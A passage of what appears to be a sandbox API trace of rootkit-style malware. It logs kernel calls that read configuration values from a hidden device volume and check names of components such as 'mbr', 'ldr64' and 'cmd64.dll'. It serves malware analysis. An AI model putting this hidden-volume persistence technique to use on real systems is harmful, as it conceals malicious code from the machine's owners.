ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.795] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.795] IdePortDispatch () returned 0x103 [0123.796] KeWaitForMutexObject () returned 0x0 [0123.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.796] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.796] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.796] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.796] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.796] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beee60 [0123.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.796] KeLeaveCriticalRegion () [0123.796] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.796] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.796] KeEnterCriticalRegion () [0123.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.796] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.796] KeLeaveCriticalRegion () [0123.796] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.796] KeEnterCriticalRegion () [0123.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.796] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.796] IdePortDispatch () returned 0x103 [0123.796] KeWaitForMutexObject () returned 0x0 [0123.797] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.797] KeLeaveCriticalRegion () [0123.797] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.797] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.797] KeEnterCriticalRegion () [0123.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.797] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b16000 [0123.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.797] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.797] IdePortDispatch () returned 0x103 [0123.797] KeWaitForMutexObject () returned 0x0 [0123.797] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.797] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.797] IdePortDispatch () returned 0x103 [0123.798] KeWaitForMutexObject () returned 0x0 [0123.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.798] KeLeaveCriticalRegion () [0123.798] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.798] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.798] KeEnterCriticalRegion () [0123.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.798] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.798] KeLeaveCriticalRegion () [0123.798] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.798] KeEnterCriticalRegion () [0123.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.798] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.798] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.799] KeLeaveCriticalRegion () [0123.799] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.799] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.799] KeEnterCriticalRegion () [0123.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.799] ExFreePoolWithTag (P=0xfffffa8003beee60, Tag=0x0) [0123.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.799] KeLeaveCriticalRegion () [0123.799] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.799] ReleaseMutex (hMutex=0xf0) returned 1 [0123.799] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.803] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.803] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.803] KeEnterCriticalRegion () [0123.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.803] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.803] IdePortDispatch () returned 0x103 [0123.803] KeWaitForMutexObject () returned 0x0 [0123.803] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.803] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.803] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.803] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.803] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.803] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedeb0 [0123.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.803] KeLeaveCriticalRegion () [0123.803] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.803] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.804] KeEnterCriticalRegion () [0123.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.804] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.804] KeLeaveCriticalRegion () [0123.804] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.804] KeEnterCriticalRegion () [0123.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.804] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.804] IdePortDispatch () returned 0x103 [0123.804] KeWaitForMutexObject () returned 0x0 [0123.804] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.804] KeLeaveCriticalRegion () [0123.804] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.804] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.804] KeEnterCriticalRegion () [0123.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.804] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b18000 [0123.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.804] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.804] IdePortDispatch () returned 0x103 [0123.805] KeWaitForMutexObject () returned 0x0 [0123.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.805] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.805] IdePortDispatch () returned 0x103 [0123.805] KeWaitForMutexObject () returned 0x0 [0123.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.805] KeLeaveCriticalRegion () [0123.805] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.806] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.806] KeEnterCriticalRegion () [0123.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.806] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.806] KeLeaveCriticalRegion () [0123.806] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.806] KeEnterCriticalRegion () [0123.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.806] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.806] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.806] KeLeaveCriticalRegion () [0123.806] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.806] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.806] KeEnterCriticalRegion () [0123.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.806] ExFreePoolWithTag (P=0xfffffa8003bedeb0, Tag=0x0) [0123.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.806] KeLeaveCriticalRegion () [0123.806] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.806] ReleaseMutex (hMutex=0xf0) returned 1 [0123.806] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.806] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.806] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.806] KeEnterCriticalRegion () [0123.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.806] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.806] IdePortDispatch () returned 0x103 [0123.806] KeWaitForMutexObject () returned 0x0 [0123.807] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.807] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.807] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.807] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.807] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.807] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed0a0 [0123.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.807] KeLeaveCriticalRegion () [0123.807] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.807] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.807] KeEnterCriticalRegion () [0123.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.807] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.807] KeLeaveCriticalRegion () [0123.807] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.807] KeEnterCriticalRegion () [0123.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.807] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.807] IdePortDispatch () returned 0x103 [0123.808] KeWaitForMutexObject () returned 0x0 [0123.808] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.808] KeLeaveCriticalRegion () [0123.808] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.808] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.808] KeEnterCriticalRegion () [0123.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.808] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b19000 [0123.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.808] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.808] IdePortDispatch () returned 0x103 [0123.808] KeWaitForMutexObject () returned 0x0 [0123.813] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.813] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.813] IdePortDispatch () returned 0x103 [0123.813] KeWaitForMutexObject () returned 0x0 [0123.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.820] KeLeaveCriticalRegion () [0123.820] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.821] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.821] KeEnterCriticalRegion () [0123.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.821] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.821] KeLeaveCriticalRegion () [0123.821] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.821] KeEnterCriticalRegion () [0123.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.821] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.821] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.821] KeLeaveCriticalRegion () [0123.821] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.821] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.821] KeEnterCriticalRegion () [0123.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.821] ExFreePoolWithTag (P=0xfffffa8003bed0a0, Tag=0x0) [0123.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.821] KeLeaveCriticalRegion () [0123.822] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.822] ReleaseMutex (hMutex=0xf0) returned 1 [0123.822] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.822] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.822] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.822] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.822] KeEnterCriticalRegion () [0123.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.822] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.822] IdePortDispatch () returned 0x103 [0123.822] KeWaitForMutexObject () returned 0x0 [0123.822] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.822] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.823] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.823] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.823] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.823] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.823] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.823] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.823] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.823] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.823] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.823] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.823] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.823] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.823] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.823] KeLeaveCriticalRegion () [0123.823] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.823] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.823] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.823] KeEnterCriticalRegion () [0123.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.823] IoAllocateMdl (in: 